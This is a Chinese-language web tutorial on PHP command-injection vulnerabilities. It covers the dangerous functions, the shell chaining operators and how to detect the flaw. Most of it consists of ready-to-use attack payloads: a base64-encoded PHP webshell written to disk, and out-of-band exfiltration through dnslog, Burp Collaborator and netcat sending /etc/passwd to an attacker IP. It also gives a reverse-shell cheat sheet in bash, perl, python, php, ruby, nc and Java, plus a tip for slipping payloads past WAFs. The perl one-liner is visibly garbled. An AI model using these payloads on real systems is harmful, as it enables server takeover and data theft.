命令執(zhí)行漏洞原理
應(yīng)用程序中有時(shí)候需要調(diào)用一些執(zhí)行系統(tǒng)命令的函數(shù),在php中常見(jiàn)的為system
、exec
、shell_exec
、passthru
、proc_poen
、popen
等函數(shù)用來(lái)執(zhí)行系統(tǒng)命令。當(dāng)黑客能控制這些函數(shù)的參數(shù)時(shí),就可以講惡意的系統(tǒng)命令拼接到正常的命令中,就會(huì)命令執(zhí)行攻擊,這就是命令執(zhí)行漏洞。
危害
- 繼承web服務(wù)器的權(quán)限執(zhí)行系統(tǒng)命令
- 繼承web服務(wù)器程序權(quán)限,讀寫(xiě)文件
- 反彈shell
- 控制整個(gè)網(wǎng)站
- 控制整個(gè)服務(wù)器
檢測(cè)方法
有回顯檢測(cè)方法
常用方法:
; (分號(hào)) 從左到右執(zhí)行
| (管道符) 將見(jiàn)面命令的輸入為后面命令的標(biāo)準(zhǔn)輸入
&(后臺(tái)任務(wù)符號(hào)) 命令從左到右執(zhí)行
&&(與) 邏輯與,前面命令執(zhí)行成功后才會(huì)執(zhí)行
||(或) 邏輯或,前面執(zhí)行失敗才能執(zhí)行
`(反引號(hào))當(dāng)命令解析時(shí),首先執(zhí)行反引號(hào)之間的操作
$(命令替換符)與反應(yīng)號(hào)功能一樣
有回顯常用判斷方式
win 操作系統(tǒng)
type c:\windows\win.ini
linux 操作系統(tǒng)
cat /etc/passwd
無(wú)回顯且有寫(xiě)入權(quán)限
- 傳webshell到服務(wù)器中
|echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php #base64解碼后寫(xiě)入到shell.php文件中
-
查看是否可以訪問(wèn)
-
使用webshell工具連接
無(wú)回顯利用dnslog平臺(tái)檢測(cè)
借助dnslog.cn查看訪問(wèn)
鏈接: http://dnslog.cn/
- 訪問(wèn)dnslog平臺(tái)生成的域名
`whoami`.7w1v2u.dnslog.cn
- 查看dnslog平臺(tái)是否有訪問(wèn)信息
無(wú)回顯利用bp檢測(cè)
利用原理與dnslog是一樣的
- 找到bp相關(guān)模塊
-
復(fù)制dns地址
-
訪問(wèn)此地址
|ping -c 4 m1odth5coly60euvoihemfn5kwqnec.burpcollaborator.net
- 刷新bp查看結(jié)果
無(wú)回顯利用netcat命令檢測(cè)
- 使用kali監(jiān)聽(tīng)9999端口
- 漏洞位置輸入命令
|nc 192.168.0.107 9999 </etc/passwd
- 查看kali生成的文件信息
命令執(zhí)行漏洞nc反彈shell
- 使用kali監(jiān)聽(tīng)
nc -vlnp 8080
- 漏洞位置執(zhí)行命令
|/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.107/8080 0>&1'
常用的shell反彈命令:
bash shell 執(zhí)行
||/bin/bash -c ‘bash -i >& /dev/tcp/192.168.0.124/8080 0>&1’
perl -e ‘use
Socket; i = " 10.0.0.1 " ; i="10.0.0.1"; i="10.0.0.1";p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(
“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,ineta?ton(i)))){open(STDIN,“>&S”);open(STD
OUT,“>&S”);open(STDERR,“>&S”);exec(“/bin/sh -i”);};’
python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co
nnect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i
<&%d >&%d 2>&%d”,f,f,f)’
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,“-c”,“exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line;
do $line 2>&5 >&5; done”] as String[])
p.waitFor()文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-772277.html
tips: 如果遇到waf連接可以把語(yǔ)句進(jìn)行base64
加密后輸入文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-772277.html
到了這里,關(guān)于【網(wǎng)絡(luò)安全】命令執(zhí)行漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!